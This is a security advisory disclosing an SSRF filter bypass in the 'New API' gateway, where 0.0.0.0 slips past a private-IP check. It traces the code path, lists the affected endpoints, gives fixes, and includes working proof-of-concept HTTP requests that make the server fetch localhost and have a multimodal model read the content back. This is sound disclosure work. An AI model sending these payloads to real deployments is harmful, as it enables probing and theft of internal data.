CVE-2026-42339: New API: SSRF Filter Bypass via 0.0.0.0

SSRF Filter Bypass via 0.0.0.0

Summary

The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.

Details

Root Cause

common/ssrfprotection.go — isPrivateIP() (lines 33–47) checks the following ranges:

- 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 - 127.0.0.0/8 - 169.254.0.0/16 - 224.0.0.0/4 - 240.0.0.0/4

0.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.

Default Fetch Settings

setting/systemsetting/fetchsetting.go (lines 16–24) defaults:

- EnableSSRFProtection: true - AllowPrivateIp: false - AllowedPorts: ["80", "443", "8080", "8443"] - ApplyIPFilterForDomain: true

So 0.0.0.0 on any of these four ports passes all checks.

Data Flow (primary chain — /v1/chat/completions)

User API token → /v1/chat/completions (TokenAuth, no admin required) → messages[].content[].imageurl.url = "http://0.0.0.0:8080/..." → dto/openairequest.go:111-117 createFileSource() recognises http(s):// as URL source → dto/openairequest.go:119-198 GetTokenCountMeta() collects imageurl.url / file.filedata / videourl → service/tokencounter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true → service/fileservice.go:135-143 loadFromURL() → DoDownloadRequest() → service/download.go:52-68 ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get() → Server issues real TCP connection to 0.0.0.0

Note on stream requirement: common/init.go (lines 140–141) defaults GETMEDIATOKEN=true but GETMEDIATOKENNOTSTREAM=false, so stream: true is needed to trigger the fetch path.

Additional Affected Endpoints

The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:

| Endpoint | User-controlled field | Auth required | |---|---|---| | /v1/chat/completions | imageurl.url, file.filedata, videourl | Regular user token | | /v1/responses | inputfile.fileurl, inputimage.imageurl | Regular user token | | /v1/messages | source.url (type: "url") | Regular user token | | /api/user/setting | webhookurl, barkurl, gotifyurl | Regular user (self) |

Upgrade to Full-Read SSRF (conditional)

relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():

- If the request is routed to an AWS/Bedrock Claude channel, the adaptor iterates over message content - When source.type == "url", it calls service.GetBase64Data() which invokes the same DoDownloadRequest() path - The fetched content is rewritten to type: "base64" and inlined into the model request - The model then describes/transcribes the content in its response

This means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.

Proof of Concept

Prerequisites: A regular user account with a valid API token. No admin privileges required.

Step 1 — Control group: 127.0.0.1 is blocked

http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json

{ "model": "gpt-4o-mini", "stream": true, "maxtokens": 1, "messages": [ { "role": "user", "content": [ {"type": "text", "text": "describe"}, { "type": "imageurl", "imageurl": { "url": "http://127.0.0.1:8080/probe.png", "detail": "low" } } ] } ] }

Response:

private IP address not allowed: 127.0.0.1

Step 2 — Experiment group: 0.0.0.0 bypasses the filter

http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json

{ "model": "gpt-4o-mini", "stream": true, "maxtokens": 1, "messages": [ { "role": "user", "content": [ {"type": "text", "text": "describe"}, { "type": "imageurl", "imageurl": { "url": "http://0.0.0.0:8080/probe.png", "detail": "low" } } ] } ] }

Response:

dial tcp 0.0.0.0:8080: connect: connection refused

The server attempted a real TCP connection — the SSRF filter was bypassed.

Step 3 — Confirm readback capability via multimodal model

http POST /v1/chat/completions HTTP/1.1 Host: <redacted> Authorization: Bearer sk-<user-token> Content-Type: application/json

{ "model": "claude-3-5-sonnet-latest", "stream": false, "maxtokens": 32, "messages": [ { "role": "user", "content": [ { "type": "text", "text": "Transcribe exactly the text in the image. Output only the text." }, { "type": "imageurl", "imageurl": { "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159", "detail": "low" } } ] } ] }

Response:

json {"choices":[{"message":{"content":"READBACK-OK-314159"}}]}

This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.

Impact

An authenticated regular user (no admin privileges) can:

1. Probe localhost and internal services — Determine open/closed ports on the server by observing connection refused vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443. 2. Exfiltrate internal content — When the request routes through a multimodal model (especially AWS/Bedrock Claude), the server fetches the resource and the model returns its content (OCR for images, summarization for PDFs/text). 3. Bypass all previous SSRF mitigations — This is a direct bypass of the isPrivateIP() check. No redirect chain, no DNS rebinding, no race condition required — just replacing 127.0.0.1 with 0.0.0.0.

Since user registration is often enabled by default, any registered user can exploit this.

Suggested Fix

1. Add 0.0.0.0/8 to the deny list in isPrivateIP() (common/ssrfprotection.go) 2. Audit against the full [IANA IPv4 Special-Purpose Address Registry](https://www.iana.org/assignments/iana-ipv4-special-registry/) — also ensure coverage for: - 0.0.0.0/8 ("This network") - 100.64.0.0/10 (Carrier-grade NAT) - 198.18.0.0/15 (Benchmarking) - IPv6 equivalents: ::1, ::, [::], fe80::/10 3. Apply the same IP validation to post-redirect targets (already partially addressed in service/httpclient.go:24-33, but does not help when the initial address itself bypasses the filter)

Resources

- CVE-2025-59146 (GHSA-xxv6-m6fx-vfhh): Original authenticated SSRF, patched in v0.9.0.5 - CVE-2025-62155 (GHSA-9f46-w24h-69w4): 302 redirect bypass of the SSRF fix, patched in v0.9.6